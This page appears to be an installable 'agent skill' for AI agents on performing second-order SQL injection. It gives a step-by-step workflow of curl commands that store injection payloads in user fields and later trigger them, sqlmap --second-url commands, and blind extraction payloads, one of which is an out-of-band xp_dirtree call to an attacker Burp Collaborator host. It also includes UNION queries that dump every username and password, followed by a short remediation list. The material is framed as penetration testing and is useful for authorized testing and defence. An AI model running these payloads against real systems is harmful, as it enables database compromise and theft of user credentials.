Performing Second-Order SQL Injection Skill

Performing Second-Order SQL Injection

When to Use

When first-order SQL injection testing reveals proper input sanitization at storage time
During penetration testing of applications with user-generated content stored in databases
When testing multi-step workflows where stored data feeds subsequent database queries
During assessment of admin panels that display or process user-submitted data
When evaluating stored procedure execution paths that use previously stored data

Prerequisites

Burp Suite Professional for request tracking across application flows
SQLMap with second-order injection support (--second-url flag)
Understanding of SQL injection fundamentals and blind extraction techniques
Two or more application functions (one for storing data, another for triggering execution)
Database error message monitoring or blind technique knowledge
Multiple user accounts for testing stored data across different contexts

Workflow

Step 1 — Identify Storage and Trigger Points

# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
#    - User registration (username, email, address)
#    - Profile update forms
#    - Comment/review submission
#    - File upload metadata
#    - Order/booking details

# 2. TRIGGER POINTS: Where stored data is used in queries
#    - Admin panels displaying user data
#    - Report generation
#    - Search functionality using stored preferences
#    - Password reset using stored email
#    - Export/download features

# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&email=test@test.com"

Step 2 — Inject Payloads via Storage Points

# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"

# Store injection in profile fields
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# Store injection in address field
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# Store injection in comment/review
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"

Step 3 — Trigger Execution of Stored Payloads

# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"

Step 4 — Use SQLMap for Second-Order Injection

# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&email=test@test.com" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN

Step 5 — Blind Second-Order Extraction

# Boolean-based blind: Check if stored payload causes different behavior
# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# Trigger and observe response difference
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# Time-based blind second-order
# Store: test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; WAITFOR DELAY '0:0:5'--"

# Out-of-band extraction via DNS
# Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"

Step 6 — Escalate to Full Database Compromise

# Once injection is confirmed, enumerate database
# Store UNION-based payload
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"

# Extract credentials
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"

# Trigger execution and read results
curl http://target.com/profile

Key Concepts

| Concept | Description | |---------|-------------| | Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation | | Storage Point | Application function where malicious input is saved to the database | | Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query | | Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization | | Stored Procedure Chains | Injection through stored procedures that use previously saved user data | | Deferred Execution | Payload may not execute until hours or days after initial storage | | Cross-Context Injection | Data stored by one user triggers execution in another user's context |

Tools & Systems

| Tool | Purpose | |------|---------| | SQLMap | Automated SQL injection with --second-url support for second-order attacks | | Burp Suite | Request tracking and comparison across storage and trigger endpoints | | OWASP ZAP | Automated scanning with injection detection | | Commix | Automated command injection tool supporting second-order techniques | | Custom Python scripts | Building automated storage-and-trigger exploitation chains | | DBeaver/DataGrip | Direct database access for verifying stored payloads |

Common Scenarios

Username-Based Attack — Register with a SQL injection payload as username; the payload executes when an admin views the user list
Password Change Exploitation — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query
Report Generation Attack — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries
Cross-User Injection — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data
Export Function Exploit — Inject payload in profile data that triggers during CSV/PDF export operations

Output Format

## Second-Order SQL Injection Report
- **Target**: http://target.com
- **Storage Point**: POST /register (username field)
- **Trigger Point**: GET /admin/users (admin panel)
- **Database**: MySQL 8.0

### Attack Flow
1. Registered user with username: `admin' UNION SELECT password FROM users--`
2. Application stored username safely using parameterized INSERT
3. Admin panel retrieves usernames with unsafe string concatenation in SELECT
4. Injected SQL executes, revealing all user passwords in admin view

### Data Extracted
| Table | Columns | Records |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |

### Remediation
- Use parameterized queries for ALL database operations, including reads
- Never trust data retrieved from the database as safe
- Implement output encoding when displaying database content
- Apply least-privilege database permissions
- Enable SQL query logging for detecting injection attempts

Agent Skills: Performing Second-Order SQL Injection

Install this agent skill to your local

Skill Files